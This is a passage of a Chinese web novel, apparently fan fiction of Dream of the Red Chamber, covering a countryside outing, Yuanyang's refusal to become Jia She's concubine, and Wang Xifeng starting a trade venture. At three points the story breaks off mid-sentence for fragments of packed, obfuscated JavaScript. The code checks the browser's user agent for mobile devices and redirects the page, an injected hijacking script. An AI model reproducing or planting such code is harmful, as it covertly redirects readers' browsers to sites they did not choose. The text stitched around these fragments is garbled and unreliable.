RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15086077|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道“我和父亲同去!” 贾政宝玉父子俩去了贾母处,得到的回应和王夫人猜测的相同。 贾母嫌天热出门辛苦,不愿意去,只说让贾政带孩子们去玩一玩罢了。贾母不去,王夫人想留着陪她,也就不去了。最后只好是贾政带着孩子们去了京郊农庄。 他们的目的地是京郊炭窑附近的农庄。贾政听潘武说那里如今又包下了几片山头,专种植林木和中药材。附近有一小院预备着贾府的人小住,所有陈设尽是农家风情。 此处院落也有七八间屋舍,贾政一行人也才十来个,足够住了。 院子里有许多果树,还有一小块菜地,种了些黄瓜柿子,满满地挂着果实。紧靠着墙根搭了竹竿架子,此时爬满了粉红的蔷薇花。又有葡萄藤投下的阴凉供人休憩,再是闲适不过了。 贾政此时悠然躺在竹椅上乘凉,孩子们或在屋里读书下棋或在外面玩笑,完全没有在荣府里那样拘谨。 “宝玉你小心点,别掉到井里去了!”黛玉看宝玉主动请缨去捞水井里的西瓜,便如此叮嘱道。 宝玉笑了笑,说道“我知道了。” “爱哥哥,我和你一起去!”湘云也起身要与宝玉同去。 “多了一个人,我怎么反而更担心了呢?”黛玉笑说。 湘云回头冲黛玉做了个鬼脸,又道“一会儿罚林姐姐不许吃西瓜!” 水井里早有提前冰好的瓜果,在一个竹篮里放着。宝玉和湘云亲力亲为,两人提起了篮子,冰凉的井水滴到了湘云的手背,她笑道“像是雪花落在手上了。” 她俩将篮子提到了葡萄架下的石桌上,就有几个丫鬟来切西瓜,又拿了盘子装好,也给贾政留了一些。 湘云自己端了一盘,进到屋里,轮流拿给姐妹们吃。虽然黛玉坐在窗边榻上,只是湘云故意越过了她。黛玉只笑着看她,也没有生气。 宝玉也端了些葡萄李子进来,直直走到黛玉面前,说道“妹妹吃这个,我用温水又浸了一会儿,没那么冰了。” 黛玉刚要伸手去拿,却听到湘云笑道“专有人伺候林姐姐的,咱们却要亲力亲为!” 探春叉了一块西瓜吃,也笑道“这西瓜真甜,林姐姐也吃一些?” 黛玉本听了湘云的话有些脸红,此时也下地来吃西瓜,却被湘云挡住了手臂,黛玉说道“不给吃就算了,我去外面和宝姐姐吃去。” 湘云却拽住黛玉手臂,叉了一块瓜喂给她,又说道“我哪敢不给林姐姐吃呢?” “不错,冰凉脆甜。”黛玉吃罢,满意地点了点头。 宝玉见她们三个笑闹,自己也端着盘子过来,说道“也尝尝这个!”黛玉捏了一颗葡萄也吃过了,又笑道“酸甜可口。” 湘云听罢,忍不住指着黛玉笑道“瞧你!难不成每个人都要夸一夸?” “哪有?我不过是说这西瓜和葡萄呢!”黛玉有些不好意思道。 探春也喂了黛玉一小块西瓜,笑道“他们俩的都吃了,林姐姐也要赏我这个脸呢!”黛玉更是红了脸,自己走到屋外去了。 “颦儿热吗?怎么脸这么红?”宝钗见黛玉出来,就将她拉到石桌前坐下。 黛玉微微摇摇头,问道“你们在下棋吗?” 宝钗有些奇怪,便道“方才发生什么了,你怎么明知故问的?这里摆着棋盘,我和迎春当然是在下棋了!” 黛玉本是随口一问,话一出口便知自己失言,忙捂了嘴巴,摇了摇头。 “看她又跑到宝姐姐那里撒娇了!”湘云笑着说,此时她和探春也跟了出来。 迎春也笑道“林妹妹好像魂不守舍的,不知道在想什么?” 湘云靠着黛玉肩膀,打趣道“林姐姐也许是在想该吃西瓜好呢还是葡萄好呢?我说的对不对呢?” “再不学好,只贫嘴贫舌的,我回去告诉舅妈罚你!”黛玉嗔道。 “你舅妈怎么了?”贾政忽然从躺椅上睁开眼睛,如此问道。他一副没睡醒的样子,神情却很严肃。 孩子们再也忍不住,纷纷笑了起来。 “舅妈说让我们看着舅舅,每日多吃些瓜果,万一舅舅中暑了,回去之后舅妈要罚我们的!”黛玉勉力说完这句话,就笑的撑不下去,靠在了宝钗怀里。 贾政也清醒了过来,只见他摇了摇扇子,故意学着孙大圣的样子,抓耳挠腮道“来呀!快把你们这里的瓜果美酒端来,孙大圣我今日要一醉方休!” 62.鸳鸯女誓绝鸳鸯偶 暑气渐散时,贾母的生辰又到了。因今年不是整生日,操办的便不及七十大寿那次排场大。 鸳鸯是贾母身边最得力的大丫鬟,不仅要伺候贾母的日常起居,连贾母的私库也由她负责。 再者,鸳鸯性子温和,待人接物又是丫鬟中拔尖的存在,也只有平儿与她可比。她又是个很有分寸的,在各处主子中间便很有几份体面。 正逢贾母生辰宴的最后一日,那日也是家宴。贾母心疼鸳鸯连日辛苦,便让她去花园里看看戏,玩一玩。 鸳鸯便去找了黛玉宝钗众人说笑,又和袭人坐了一会儿闲聊家常。鸳鸯见袭人和英莲很是投缘,二人说着些薛姨妈处的事情,她也无意听这些话,就独自去花园里转了转。 正是初秋时节,树叶轻飘飘落在地上,午后的阳光又极舒适,鸳鸯被美景迷了眼,不自觉走到了僻静处。 鸳鸯正低头看池塘里的几尾鲤鱼时,一抬头,大老爷贾赦近在咫尺,直直地看着鸳鸯脸庞。 鸳鸯略有些慌乱,忙忙行了礼,又侧身立着,等贾赦过去。 岂料贾赦本就对鸳鸯有几分意思,今日又喝多了酒,更让自己的想法随心所欲的表现出来。他伸出右手就想来抓鸳鸯的手臂,被鸳鸯躲过去了。 鸳鸯道“老太太那里有事等着我,大老爷逛着,我先告辞了···” 贾赦却打断鸳鸯,横出手臂拦住她,又笑道“你在老太太跟前服侍的很好,可见你是个贴心人。” 鸳鸯只是低着头,也没有反应。贾赦又凑近鸳鸯,在她耳畔说道“可巧老爷我身边也缺一个像你这样的贴心人儿···”话说了一半,又想去拉鸳鸯的手。 此时远处传来一声音“鸳鸯姐姐你在哪里呢?老太太有事找你!”鸳鸯听了如蒙大赦,也顾不得向贾赦行礼,转身就走了。 贾赦没有再阻拦,他笑看鸳鸯落荒而逃的背影,口中念道“躲得了一时,躲得了一世吗?” 鸳鸯刚拐了个弯,就撞上了袭人。袭人见鸳鸯神情慌张,忙挽住她手臂问道“刚才没什么事吧?”鸳鸯摇了摇头,虽心里如惊涛骇浪,口中却没有说出来。 贾赦过了两日就将这事告诉了邢夫人,让她去帮自己说和。 邢夫人向来畏惧贾赦,听了这吩咐哪里有不从的道理。况且她心里也以为这事很简单,鸳鸯断然没有拒绝的道理。哪个人放着主子不做甘愿去做奴才呢? 邢夫人想了想,先吩咐人将鸳鸯的嫂子叫来,自己去找了鸳鸯。只是邢夫人好话没说几句,鸳鸯就推脱有事,不想再听了。邢夫人只好讪讪离开,叫了鸳鸯的嫂子去说服她。 那边鸳鸯听了邢夫人所说,早已是心乱如麻,便寻了个由头去找袭人说说心里话。因她们从小一起长大,又都在贾母处服侍,比别人更多了几份情谊。 鸳鸯也没有隐瞒,将偶遇贾赦和邢夫人来说媒的事情都说了。 “本来按照常理来说,这倒算是一件好事。”袭人顿了顿,又轻轻摩挲鸳鸯脊背,安抚道“只是我知道你的脾性,你自然是不乐意的。” 鸳鸯眼眶微红,又道“咱们一起长大,自小无话不谈,所以我才来和你说几句知心话···” “若你真不愿意,眼下也只有去求老太太开恩,不然咱们府里谁又敢忤逆大老爷呢?”袭人温声劝慰。 鸳鸯微微摇摇头,哽咽道“老太太虽平时疼我,只是如今老大爷态度强硬,我也不敢保证老太太愿意为了我做到那一步···” 袭人听罢也叹了口气,又道“不如我让宝玉去求老太太,讨你到他屋里去?” “都什么时候了,还来逗我?”鸳鸯心里又急又气又臊,故此说道。 袭人又道“真的!宝二爷最是和气不过了,你过来伺候他也只当你是姐妹相处呢!” “虽然这样说,只是老太太也许反而要怀疑我和宝玉有些什么了,这样断然不行!”鸳鸯叹道。 “那还能有什么办法呢?”袭人性子沉稳,此时也是真心为了鸳鸯着急,突然又道“不如去求二老爷?” 鸳鸯忙捂住袭人的嘴巴,怒道“你看你这一会儿把我许给多少个男人了?让旁人听到那还了得?我这脸还要不要了!” 袭人也知道自己失言,低声补充道“在扬州那两年,我发现二老爷和大老爷完全不同。若是冒险去求他,也许真的能有个好结果呢?”鸳鸯只低头不语。 “老太太本就偏心二老爷,如今二老爷先去要了你,大老爷定然不敢再说什么,你觉得呢?”袭人说罢摇了摇鸳鸯手臂。 鸳鸯正要说话时,突然远远看到自己的嫂子走了过来,她就没有再说。 “姑娘原来在这里!我有件大喜事来找姑娘呢!”鸳鸯嫂子略带谄媚,边说话就要拉了鸳鸯去旁边细说。 鸳鸯甩开了她的手臂,怒道“需要藏着掖着才能说的,能有什么喜事?” “大太太说要讨你去给大老爷做屋里人呢!这可不是天大的喜事吗?”鸳鸯嫂子仍旧笑道。 鸳鸯听罢再忍不住怒意,朝她嫂子脸上啐了一口,指着她鼻子骂道“你们早就盼着自家人去做谁的小老婆,这样就能沾了光,也横行霸道了!却不想想我的死活!你再不要和我说这话,若愿意去做小老婆,你只管自己上赶着去吧,何必牵扯到我身上?” 鸳鸯骂完,自己反而又急又气,忍不住哭了起来。 “嫂子快去吧,别在她跟前说这话了。鸳鸯正为了这事着急呢,你们做家里人的,怎么还来火上浇油了呢?”袭人连忙抱着鸳鸯安慰,又劝她嫂子不要再说这事。 鸳鸯嫂子感觉自己是无辜被骂,因此也很生气,怒道“狗咬吕洞贵宾不识好人心,就当我的好心喂了狗了!”骂完,又自己离去了。 鸳鸯抬起头含泪挤出一丝笑,哽咽道“只怕我若不从了大老爷,我哥嫂就要把我绑去大老爷那里了!” 此时宝玉黛玉两个忽然走了过来,问道“鸳鸯姐姐这是怎么了?为何哭成这样?”袭人看了一眼鸳鸯,见她微微点了点头,便将事情详细说了。 宝玉忙道“我这就去求老太太!” “你急什么?难道现在求了老太太就一定能救了鸳鸯姐姐吗?”黛玉忙阻拦道。 黛玉又细细想了想,虽觉得事关大舅舅,自己一个姑娘家不应该参与,只是毕竟心疼鸳鸯遭遇,便劝道“鸳鸯姐姐不要着急,咱们再想想办法” “还能有什么办法,鸳鸯姐姐都哭成这样了!横竖我去出头就是了!”宝玉仍然急切说道。 “你这呆子!”黛玉在宝玉额头戳了一下,又道“你去出头,老太太岂不要怀疑你和姐姐有些什么吗?” 宝玉听了立刻明白过来,低了头不说话了。 袭人也道“我们担心的也正是这样。” 黛玉左思右想,只觉得没个合适的人出来解围。王夫人薛姨妈自然不方便干预贾赦的事情,贾政和宝玉都是男丁,也不便。剩下的又都是孩子们,礼法上也讲不通。思来想去,就只剩贾母了。 黛玉坐在鸳鸯身侧,拉着她的手道“鸳鸯姐姐,我想如今只能去求老太太了!” “我何尝没想到这里呢?只是我怕老太太未必不会偏袒大老爷···”鸳鸯叹道。 “姐姐别急,我有办法!”黛玉在鸳鸯耳畔说了几句话,鸳鸯听了,脸上有了几份笑容,说道“林姑娘说的有理,就这么办。” “妹妹说了什么?我也想听听。”宝玉忙问道。 黛玉笑着摇摇头,说道“天机不可泄露!” 次日在贾母处用过早饭,宝黛等姐妹都陪着说笑,王夫人薛姨妈也都在。鸳鸯与袭人在隔壁屋子待着,故意没有出来。 黛玉问道“怎么不见鸳鸯姐姐?” 贾母本没想起这事,忽然听了黛玉的话,便觉得身边没有鸳鸯陪着很是难受,便也说道“鸳鸯去哪里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090347|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了?” “老太太身边没了鸳鸯一时都忍不了,真是让我们这些做孙媳妇的心里不是滋味啊!”尤氏也故意打趣道。 “鸳鸯姑娘事事做得都合老太太的心意,咱们既做不到,也不好再打趣人家鸳鸯!”李纨也在一旁帮腔。 贾母笑了笑,又道“你们只以为我偏心鸳鸯,却不知她这孩子招人疼呢!” “就是呢!我都没有吃醋,大嫂子却和我抢了!”宝玉坐在贾母身旁,也撒娇道。 “这个宝玉!真还是小孩儿脾气!”尤氏笑道。 见铺垫的差不多了,黛玉就示意丫鬟偷偷去叫鸳鸯。 宝钗看得清楚,也含笑配合着,对贾母说道“前日鸳鸯姐姐还托我找几个花样子,说要为老太太做一顶新暖帽呢!” 贾母便点点头,笑道“我说什么,她每个字都记在心里呢!” 随后鸳鸯来了,贾母见了自然高兴的不得了。鸳鸯又拿出新做的暖帽给贾母试戴。 贾母笑说“刚还说这个呢,可巧你就做好了!” “就说鸳鸯姐姐极细致周到了呢!我听袭人说姐姐好几个晚上做到三更才睡呢!”宝玉挽着贾母手臂,如此称赞鸳鸯。 贾母拍了拍鸳鸯手臂,笑道“是个好孩子!” 不一会儿,气氛又欢快起来。鸳鸯嫂子又来这里找她,其实这也是黛玉和探春的小小计策。 便像本来计划的那样,鸳鸯拉着她嫂子跪在贾母面前,就将大老爷和大太太找她的事情一口气都说了。 鸳鸯边说边哭,感染了在场的所有人,自然包括贾母。 宝玉见贾母气愤,便添了一把火,说道“老太太离了鸳鸯姐姐可如何是好呢!大老爷若真的缺丫鬟,不如去外面买就是了!何苦来这里挖墙脚!”宝玉敢这样说,也是仗着贾母对他的宠爱,以及自己素日里呆傻的性子,换做旁人是不能这样不敬长辈的。 “当着众人在这里,我这辈子横竖不嫁人就完了!若是老太太和大老爷逼我,我就是一刀抹死了也不能从命!”鸳鸯仍旧流着眼泪,话语却极其坚定。 宝玉不忘为贾母抚着后背顺气,又轻声道“鸳鸯姐姐这样刚烈,真是难得!老太太有这样的人服侍,再好不过了···” 鸳鸯又喃喃念道“或是剪了头发当姑子去···” 只见她果真从袖中拿出一把剪子,就要将头发剪去。 幸好袭人和探春在旁边拦着,才将她劝下来。又来了几个丫鬟安抚着鸳鸯退下了。 贾母早已气得浑身打颤,幸好有宝玉不停安慰,尤氏也劝道“老太太不要动怒,免得伤了身子。” 王夫人早站了起来,劝道“老太太不要着急···” 贾母再三忍了忍,才重重出了一口气,说道“你们去吧,让人去将大太太叫过来,就说我有事要说···”说罢,挥了挥手,让众人退下了。 此时黛玉也害怕贾母真的气出个好歹,待旁人走了,又走到贾母跟前,说道“外祖母,我和宝玉陪着你好不好?” 贾母看了一眼黛玉满含关心的神情,轻轻摇了摇头,说道“你和宝玉也去吧,这事你们不要参与了···” 以贾母的洞察力,在起初的震惊和气愤后,反而很快冷静了。她知道贾赦要讨鸳鸯过去绝不仅仅是看上了鸳鸯做姨娘,更多的是在抱怨她这个做母亲的。 不过是看她年纪大了,人也快糊涂了,早早将她的心腹鸳鸯抓在手里,日后也多争取一些家产。贾母想到这里,又是叹气又是难过。 她当初之所以要让贾政夫妇管家,不也是因为贾赦实在不是个靠得住的吗?若是一开始就让贾赦夫妇管家,估计现在荣国府已经败得差不多了! 贾母一想到自己的慈母心肠却被长子这样对待,心里真是难过到极点。为子女操一辈子的心,却还是要被说一句偏心,要被算计。 贾母心里的苦又要向谁去诉说呢? 63.歧路艰险心彷徨 贾母叫来贾赦与邢夫人,先说了鸳鸯的事情。 “鸳鸯这丫头在我身边服侍,从来不让我多操心的,如今我留着鸳鸯在身边就相当于你们为我尽孝了,此事再不要提。你若身边缺人,拿钱去买就是了。”贾母说罢,又看贾赦的神色,他仍是淡淡的。 贾母又语重心长道“你心里为什么事情操心,我做母亲的自然知道。你且放心,以后自然对你有个交待的。又何必在我还活着的时候来怄我呢?”贾母此话已经是很重了。 贾赦听到这里也略有几分惭愧,说道“儿子不孝,糊涂做错事,请母亲责罚!”说罢自己跪了下来,邢夫人也跟着下跪。 贾母无心无追究他的态度如何,说道“你们只当我偏心,却不知道长远考虑,你自己好好想一想,你真的能扛起荣国府这个担子吗?” 贾赦听罢低头不言。 “话我就说这么多,你担心的事情我也回答过了,你若是觉得满意,就去吧···”贾母说到这里,已然红了眼眶,不欲再看贾赦夫妻。 贾赦从贾母处离开,回头看了看跟在后面惴惴不安的邢夫人,问道“老太太屋里发生什么事了?”邢夫人小心将自己知道的说了。 贾赦叹了口气,又道“你日后多去那里奉承着老太太···”说罢,又摇了摇头,自顾自走了。 邢夫人哪里敢说话,她本已经做好了挨骂的准备。只是贾赦却没骂她就走了,倒让她松了一口气。 没过几日,贾赦花了八百两银子买了个姑娘回来。 鸳鸯心里安定下来后,特意去感谢宝玉黛玉等姑娘们。 原来那日黛玉对鸳鸯说了自己的主意后,私下又和姐妹们解释了一下。众人很快就有了计划。 她们所做的准备全然在昨日用上,万幸结果都是好的,贾母虽然生气但没有很严重,鸳鸯也顺利留了下来。 只是姐妹们都没想到差点让鸳鸯做出冲动之举,这也是因为她们没有完全考虑到鸳鸯的情绪。 鸳鸯今日来道谢,众人又宽慰了鸳鸯一会儿,鸳鸯就与袭人离去了。 “英莲你想什么呢?怎么呆呆的?”宝钗看到英莲坐在炕边,神情有些愣愣的,便关心问道。 英莲闻言摇头笑了笑,才道“我只是想到鸳鸯姐姐那样一个好人,却无故也要受这种欺负,幸好姐妹们都愿意帮她,若真的没人帮她,鸳鸯姐姐怕是只能做姑子去了···” 湘云听了便宽慰道“胡想这些有什么用呢?不过是让自己多流几滴眼泪罢了,不如往好的地方想想,现在这事不是解决了吗?” 宝钗也道“多听听湘云的话,她年纪虽小,却极通透豁达呢!” 英莲便点了点头。她本也是因为鸳鸯这事使她联想到了自己从前的经历,又因为心思细腻,难免要惆怅一会儿。 “鸳鸯姐姐虽然出身不好,可她遇到困难总是想着抗争,无论如何受辱却绝不屈服,我实在太敬佩她了···”英莲又说道。 迎春听了似有所感,她本来一直坐在旁边没有插话的,此时也低声说了一句“也许抗争才是对的,最坏的结果不是都摆在面前了吗?既然连死都不怕,也不用担心其他的了···” “二姐姐,你怎么也这样说?”探春见迎春忽出此言,有些担心她,便紧靠着迎春坐下,又揽住她肩膀。 迎春轻轻笑了笑,又道“司棋到了扬州还给我来了一封信,说她在那里挺好的。以前为了表弟甘心做那么多事,如今认清了他的为人,心里就好像一下子轻松了,只觉得从未有过的畅快···” “她让我谢谢宝姐姐为她做的事。”迎春又向宝钗道谢。 “好了,都谢过许多次了,咱们姐妹间还需要这样客套吗?”宝钗笑了笑,又轻轻拍了拍迎春的肩膀。 迎春还欲说些什么,只是张张嘴,没有再说。 贾赦这件麻烦事刚结束,贾政在外面遇到的事大多也不顺遂。 贾政收到一封林如海的信,大概是说年后他的任期到了,也要来京城。贾政自然高兴林如海赴京,不仅他自己在朝中有了帮手,黛玉也能少一些对父亲的思念。 没过几日,朝中又不知道从哪里传来消息,说是圣上派去西北道善后的官员遇到了麻烦。没头没脑的,只说是受了外族埋伏,带去的将士损失大半。 贾政还来不及判断这消息的真实性,西北道的邸报就传来了,与之前的小道消息一致。兵部侍郎钱玄武也被贼人虏去了,保龄侯史鼐暂时无事。 果然如此!贾政忍不住后怕,若是自己当日去了,如今被俘虏的恐怕就成了他。 只是贾雨村当日特意来贾府说这事,也不知道是有意还是无意?按照贾雨村的性格,只怕是暗中受了忠顺王爷的吩咐也说不定的。 外有敌人虎视眈眈,贾政每每想到,就觉得如芒刺背。他定了心神,就派了人再去贾赦处和宁府那边打听一下他们近日的动向。 这两处贾政是鞭长莫及的,只能暗自祈祷他们不要闹得太严重。据手下汇报,贾珍前些日子抢了个街上偶然看到的姑娘做小老婆。人家父母本来要告,迫于贾府权势,只好收了钱了事。 贾赦这里也出了一件事。 贾赦求娶鸳鸯未果,心生怨气,好几日和狐朋狗友在外面花楼胡混,这倒不算出格。他又喜欢上了古董扇子,正好一个诨号叫做“石呆子”的人手里有二十多把精美绝伦的古扇,偏偏人家不愿意卖。 贾赦便让贾琏去威逼。贾琏多番劝说无果,贾雨村得知此事后主动帮忙。他为了攀附贾赦,找了个由头将石呆子抄了家,便将那抄来的扇子给了贾赦,得了个人情。 这可是板上定钉的一条人命官司了,贾雨村日后若要抖出来,贾赦绝对跑不了。 贾政听完下属的汇报后,很长时间都没有平静下来。纵然心里无数气愤,偏偏他拿这两家人彻底没辙。都分门立户了,再去插手人家的家事,不过是自讨没趣。 只是若有一日圣上不满意了,管他哪门哪户的,但凡姓贾,都难辞其咎。 除非贾政颇得圣上的宠爱,又能在明面上与宁府和贾赦都彻底脱离干系。 可是这个时代最讲究宗法,贾政无论如何都不可能彻底与他们摆脱关系的。唯一能做的只是尽量在圣上那里搏一些好感,再多的也无能为力。 贾政又想到自己刚来这个世界的时候,是何等的志气高远?只是亲身经历了这几年,才明白了其中的残酷。 并不是说你自己洁身自好并且努力进取就能保证家人安全的。 这样豪门望族的命运,不过是在皇帝的一念之间罢了。 贾政知道了贾赦求娶鸳鸯闹出的事情,已是事发几天后了,因为王夫人并没有提起,孩子们也不好在他跟前说这个。他是让手下去调查贾赦才发现的这事。 贾政与贾母的想法相同,他也认为贾赦别有用心。只是贾赦想谋划家产的事也不应该苛责。宁荣两府上千人,谁不知道贾母偏疼贾政呢?贾赦做长子的,心里不痛快也是人尽皆知的事了。 晚上贾政忙完公事后,就和王夫人坐在炕桌前闲聊家常,他主动提起了贾赦和鸳鸯的那件事。 “老太太那日怎么说的?”贾政问了王夫人。 “起初很生气,幸好有孩子们一直宽慰着,老太太才能好一些。”王夫人也没问贾政如何得知的,只是认真回答。 “没有为难你吧?”贾政不放心,又问道。 王夫人笑了笑,又道“本来也与我无关,老太太更不是会迁怒的人。” 贾政叹了口气,轻声道“大哥心有芥蒂,我却不好与他说我自己无心占据这些家产,只怕说了他也不信的···” “日后终有一天,老太太走了,到时分了家,我肯定不会让大哥吃亏。如果命好能等到那个时候···”贾政说到这里又叹了口气,他其实想的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15095757|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也许老太太还没走,贾家就不复存在了。只是这话贾政只能藏在心里。 “事情都过去了,老爷何必自苦呢?”王夫人宽慰道。 “夫人来这边。”贾政将夫人拉到自己身旁,两个人面对面半躺着。 贾政突然陷入很强烈的低落情绪中,他缓缓说道“我心里有许多事,只是不能与任何人说,有时自己想一想却也嫌麻烦···” 王夫人点了点头,说道“我都知道的···” 已是夜深人静了,贾政也没什么好避讳的,就双手抱着夫人,头靠着她的肩膀,说道“心里烦的时候与夫人这样静静地待一会儿,就能好一些。” 王夫人轻声道“难道我这里有什么灵丹妙药吗?” 贾政轻叹一声,又抱紧王夫人,回道“夫人身上有一种让人安心的气质。” 王夫人回道“我并没有用什么熏香···” “大约是与生俱来的吧!”贾政笑了笑。 贾政没了话说,王夫人也不说话,认真一根根翻检贾政的头发。 贾政摩挲着王夫人的脊背,忽然又道“问你一个问题。” 王夫人停下手里的动作,等他说话。 “日后咱们若是离开了京城,回到金陵颐养天年,夫人想做什么呢?”贾政缓缓道。 王夫人被这问题问的有些奇怪,便回答“不也是像老太太如今这样吗?” “儿孙环绕,享受天伦之乐?”贾政反问。 王夫人点了点头。 “夫人再想想?”贾政想提醒她说些别的。 “和老爷一起享受天伦之乐?”王夫人犹豫了一下,又补充道。 贾政忍不住笑了,又哼了一声,才道“将孩子们从小管到大,竟然还要操心孙辈,想想就要累死了!” 王夫人自然知道这是玩笑话,便又问“那老爷说做些什么?我听老爷的。” 贾政轻轻散开了夫人的发髻,双手捋顺夫人的头发,又轻声道“不论做什么,我只觉得咱们夫妻二人在一起不受干扰比较好···” 说罢看到夫人面色微红,又补充道“最多带着妹妹一起,咱们三个老家伙作伴,如海若是闲不住,勉强算他一个。” “四个老家伙,有什么乐趣?”王夫人心里想了想那样的场景,觉得好笑,便问了出来。 “这个倒不难的,只是再不想管孩子们的事情了,太麻烦···”贾政坚持道。 “怎么还皱起眉头了呢?”王夫人笑着在贾政眉间摩挲了一下。 贾政对自己向夫人撒娇这事丝毫没有心理负担,一回生二回熟,如今真是手到擒来,便握住夫人的手,问道“夫人不愿意吗?” “老爷说什么我当然要听的。”王夫人笑道。 贾政却摇了摇头,又道“我想听你的心里话。” 王夫人想了想,刚要说时,又被贾政一只手捂住了嘴巴,便用疑惑的神情看他。 贾政笑了笑,又掩耳盗铃般说道“万一夫人说的我不爱听,今晚又睡不好了,还是不要听了···” “老爷哪晚没有睡好?”王夫人像是找到了问题关键。 贾政但笑不语,摩挲着夫人脸颊,像是在开解自己一样,“平白无故想那些做什么呢?也不知道能不能有那么一天了···” 王夫人脸色变了变,又想问他为何做此感叹,又不知道如何去问,犹豫半晌,也没开口问,只是手放在着贾政颈畔,柔声道“无论那一天老爷在哪里,我肯定要跟着的···” 贾政听罢,似是惊叹于王夫人难得这样的直白,双手紧紧抱住了夫人,身子微微颤抖,说道“还是不要有那么一天了,我们好不容易可以像这样过日子,我无论如何也舍不得···” 贾政喉头哽咽,再也说不下去。他不知道前方还有多少艰难险阻,很珍惜还能与王夫人沉默着紧紧依偎的机会,只想时间永远停留在这一刻。 64.贾宝玉以文会友 王熙凤到了金陵后,陪父母到各处走访亲友,像是回到了少女时期。她是个闲不住的,家里没事要她操心,就着手操办起了生意上的事情。 江南地区较之京城,因有做生意的传统,民风要更开放一些。远离京城,王熙凤也无需时刻顾及自己的身份,反而有如鱼得水之感。 她眼下要做的就是找几个熟悉与外国人贸易的管事,便去求了父亲。 “父亲,有事想与您商量。”王熙凤趁王子安用完早饭,便留下来商谈正事。 王子安示意女儿坐他旁边,又道“有事就说,自己家里又不用防备别人知道。” 王熙凤笑了笑,直言道“女儿和宝钗妹妹如今合伙做一桩事业。” “这样很好,省得你在家里闲不住。”王子安点点头,示意她继续说。 “薛家在扬州有家丝织厂,据我了解规模不小,如今宝钗妹妹想让我负责将货物销往外国的事情。”王熙凤娓娓道来。 “所以你想和我借几个管事来用?”王子安听完就知道了女儿的意思,便直接问道。 王熙凤点点头,说道“咱们王家原本就是专管外国朝贺的,如今虽然不领这个差事了,想是管事们还略懂一些,所以女儿想借几个人来用,也省得再去外面找了。” “这倒好说,一会儿我让管家去给你找几个人来。”王子安说罢见女儿神情愉悦,便道“先别高兴太早,我还有事情叮嘱。” “父亲请讲。”王熙凤正色道。 王子安抿了口茶,才悠悠说道“听说你之前和你哥哥合伙放过印子钱?” 王熙凤听了心里也有几分紧张,便点了点头,又道“之前只做过几次,后来姑父写信也提醒了我这事不妥当,我就再也没有做了,也让哥哥将那几次知情的人都警告过了,不敢再犯。” “你哥哥大了,总之我也管不了他,我只希望他不要为咱们家沾染上杀头灭门的官司···”王子安说到这里,又叹了口气。 “父亲也不要太担心哥哥,哥哥在京城,有叔叔看着他,他也不敢闯祸的···”王熙凤安慰道。 王子安却笑了笑,说道“我当然了解他了,不过是色厉内荏窝里横罢了,真要他去外面做些什么事情,他也做不来的。” “我今日之所以说这个事,是想告诫你。自从你和贾琏和离后,我看你却毫无半分难过,所以我想你大约早就有了这个想法,那次落水也许是刻意为之也说不定···”王子安说到这里顿了顿,观察王熙凤神情。 王熙凤被父亲拆穿计谋,也有几分尴尬,便道“女儿的小把戏自然逃不过父亲的慧眼···” “过去的事情都不要追究了,我和你母亲只想你后半生平安顺遂,就算不嫁人也无妨的,我们也不在乎那些虚名,只要你过得好,我们也就满意了。”王子安说出了自己多日来的心里话。 王熙凤也被父亲直白的关爱之语说的眼眶微红,又道“让父母为女儿这样操心,都是做女儿的不孝顺···” “不说这些。”王子安笑着挥了挥手,又道“你是个有才干的,若是做生意,父亲自然要支持你。只是万不可做任何违法的事情,若是薛家那边有这样的苗头,你也要及时阻止或是写信告诉你姑姑,知道了吗?”王子安又叮嘱道。 王熙凤点点头,笑道“薛大妹妹更是个遵纪守法的,有她打理生意,姑姑再不用操一点心的。” 王子安也笑笑,很是赞同,又道“论起才干,你宝钗妹妹比他哥哥简直一个天上一个地下,就像是你和你哥哥那样。幸好蟠儿这两年也学好了不少,虽然才华平平,但到底还算是兢兢业业,是个守成的孩子。” 王熙凤与父亲商议后,王子安很快就吩咐了下去,没几天王家的管家就带了两个熟悉外贸事务的管事。 王熙凤便与这两个管事齐齐去了扬州薛家的丝织厂考察。几人初步定了个计划,便写信与宝钗商议。 宝钗的回信中自然是全听王熙凤安排,自己并没有意见。王熙凤稳住了心神,又辞别了父母,带着平儿和几个管事亲自去了泉州,当时全国最大的港口。 王熙凤忙事业时,宝钗黛玉等姐妹也没有闲着。又有一件好事传来,京北书院给宝钗来了一封信,转交给了文苑铺子里的伙计。 宝钗看后,竟然是书院里的学生邀请文苑笔谈的创作者去他们书院参与秋叶宴。所谓秋叶宴,就是当时的学子们一起吟诗作对,讲经辩论的清谈活动。 信中还写了他们是如何喜欢文苑笔谈,在书院经常探讨上面的文章,因此想邀请几位创作者一起参加秋叶宴,也是读书人之间的雅兴。 宝钗立刻便与姐妹们商量这事。她们先是开心自己的文章受到认可,其次就是失落。她们都是女孩儿,当然不能去参与这种宴会。 湘云却道“不如我们都穿了男装去吧!” 